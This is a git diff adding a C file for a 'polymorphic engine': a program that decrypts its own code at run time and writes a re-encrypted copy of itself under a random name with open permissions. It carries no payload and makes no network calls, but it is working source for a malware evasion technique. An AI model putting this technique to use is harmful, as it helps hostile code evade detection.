PolymorphicEngine

diff --git a/src/main.c b/src/main.c
new file mode 100644
index 0000000..5ffb3bb
--- /dev/null
+++ b/src/main.c
@@ -0,0 +1,155 @@
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <time.h>
+#include <unistd.h>
+
+/* Config */
+#define NAME_PREFIX        "poly_" /* Copies' names start with */
+#define NAME_PREFIX_LENGTH 5       /* Length of prefix */
+#define NAME_AFFIX_LENGTH  11      /* Number of random chars after prefix */
+#define KEY_SIZE           8       /* Size of encryption key */
+
+#define ENCRYPTED __attribute__((noinline, section(".encrypted")))
+
+/* Linked values */
+extern unsigned char binaryStart[];
+extern unsigned char encryptedStart[];
+extern unsigned char encryptedEnd[];
+
+/* Keys */
+const uint8_t act[KEY_SIZE] = {}, /* Operators */
+              key[KEY_SIZE] = {}; /* Operands */
+
+/* Functions */
+int encrypted_main(int argc, char **argv);
+
+/* Traditional main function */
+int
+main(int argc, char **argv)
+{
+	size_t i, mask;
+	void *aligned;
+	uint8_t *code = (uint8_t *) encryptedStart;
+	long pageSize = sysconf(_SC_PAGESIZE);
+
+	/* Make memory writable */
+	if (pageSize <= 0)
+		return 1;
+	mask = pageSize - 1;
+	aligned = (void *) ((size_t) code & ~mask);
+	if (mprotect(aligned, (encryptedEnd - encryptedStart) + pageSize, PROT_READ|PROT_WRITE|PROT_EXEC))
+		return 1;
+
+	/* Decrypt our code */
+	for (i = 0; i < (encryptedEnd - encryptedStart); i++) {
+		switch (act[i % KEY_SIZE]) {
+		case 0:
+			code[i] ^= key[i % KEY_SIZE];
+			break;
+		case 1:
+			code[i] -= key[i % KEY_SIZE];
+			break;
+		case 2:
+			code[i] += key[i % KEY_SIZE];
+			break;
+		}
+	}
+
+	/* Run the decrypted code */
+	return encrypted_main(argc, argv);
+}
+
+/* Copy a file */
+ENCRYPTED
+void
+copy_file(char *src, char *dst)
+{
+	FILE *self, *child;
+	char data[1024];
+	size_t n, m;
+
+	/* Open files */
+	self = fopen(src, "rb");
+	child = fopen(dst, "wb");
+	if (self == NULL || child == NULL)
+		exit(EXIT_FAILURE);
+
+	/* Copy contents across */
+	do {
+		n = fread(data, 1, sizeof(data), self);
+		if (n)
+			m = fwrite(data, 1, n, child);
+		else
+			m = 0;
+	} while ((n > 0) && (n == m));
+	if (m)
+		exit(EXIT_FAILURE);
+
+	/* Close files */
+	fclose(self);
+	fclose(child);
+}
+
+/* Encrypted main */
+ENCRYPTED
+int
+encrypted_main(int argc, char **argv)
+{
+	char filename[NAME_PREFIX_LENGTH + NAME_AFFIX_LENGTH + 1] = NAME_PREFIX,
+	     /* Possible characters in file name */
+	     alpha[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+	uint8_t dKey[KEY_SIZE], dAct[KEY_SIZE], data, *code = (uint8_t *) encryptedStart;
+	FILE *child;
+	size_t i;
+
+	/* Seed the random function */
+	srand(time(NULL));
+
+	/* Duplicate file */
+	for (i = NAME_PREFIX_LENGTH; i < sizeof(filename)-1; i++)
+		filename[i] = alpha[rand() % sizeof(alpha)];
+	copy_file(argv[0], filename);
+	chmod(filename, 0777);
+
+	/* Open child file */
+	child = fopen(filename, "r+");
+	if (child == NULL)
+		exit(EXIT_FAILURE);
+
+	/* Generate a new key */
+	for (i = 0; i < KEY_SIZE; i++) {
+		dAct[i] = rand() % 3;
+		dKey[i] = rand() % 256;
+	}
+	/* Write keys */
+	fseek(child, (unsigned long int) (act - binaryStart), SEEK_SET);
+	fwrite(dAct, 1, KEY_SIZE, child);
+	fseek(child, (unsigned long int) (key - binaryStart), SEEK_SET);
+	fwrite(dKey, 1, KEY_SIZE, child);
+
+	/* Encrypt our code */
+	fseek(child, (unsigned long int) (encryptedStart - binaryStart), SEEK_SET);
+	for (i = 0; i < (encryptedEnd - encryptedStart); i++) {
+		data = code[i];
+		switch (dAct[i % KEY_SIZE]) {
+		case 0:
+			data ^= dKey[i % KEY_SIZE];
+			break;
+		case 1:
+			data += dKey[i % KEY_SIZE];
+			break;
+		case 2:
+			data -= dKey[i % KEY_SIZE];
+			break;
+		}
+		fwrite(&data, 1, 1, child);
+	}
+
+	/* Close file and exit */
+	fclose(child);
+
+	return 0;
+}